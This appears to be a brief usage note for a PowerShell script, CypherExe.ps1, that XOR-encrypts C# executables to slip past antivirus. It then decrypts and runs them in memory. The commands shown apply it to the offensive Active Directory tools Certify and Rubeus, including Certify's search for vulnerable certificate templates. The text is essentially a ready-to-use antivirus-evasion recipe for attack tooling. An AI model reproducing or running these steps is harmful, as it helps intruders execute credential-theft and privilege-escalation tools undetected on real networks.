According to the documentation for Certify to be run from powershell.
This encrypts using XOR and the AV can be skipped.
Note: Only works with C# Executables
.\CypherExe.ps1 -ExecutablePath C:\temp\Certify.exe -Encrypt -OutPut c:\temp\certify.enc
.\CypherExe.ps1 -ExecutablePath C:\temp\Certify.enc -Decrypt
[Certify.Program]::Main("find /vulnerable".split())
.\CypherExe.ps1 -ExecutablePath C:\temp\Rubeus.exe -OutPut C:\temp\rubeus.enc -Encrypt
.\CypherExe.ps1 -ExecutablePath C:\temp\rubeus.enc -Decrypt
[Rubeus.Program]::Main("".split())